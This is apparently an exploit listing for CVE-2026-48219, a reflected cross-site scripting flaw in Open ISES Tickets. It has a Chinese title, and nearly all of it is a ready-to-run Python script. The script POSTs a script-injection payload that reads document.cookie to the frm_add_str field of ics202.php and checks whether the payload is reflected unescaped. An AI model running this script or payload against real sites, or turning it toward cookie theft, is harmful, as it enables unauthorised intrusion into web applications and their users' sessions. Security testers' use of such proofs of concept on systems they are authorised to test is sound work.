CVE-2026-48219 Open ISES Tickets反射型XSS漏洞

import requests target_url = "http://target.com/ics202.php" # The payload includes double quotes to break out of the value attribute xss_payload = '"><script>alert(document.cookie)</script>' # Data to be sent via POST request post_data = { "frm_add_str": xss_payload, # Include other necessary parameters if required by the application "submit": "Submit" } try: # Send the POST request to the vulnerable endpoint response = requests.post(target_url, data=post_data) # Check if the payload is reflected unescaped in the response if xss_payload in response.text: print("[+] Potential XSS vulnerability found!") else: print("[-] Vulnerability not confirmed or payload modified.") except Exception as e: print(f"Error: {e}")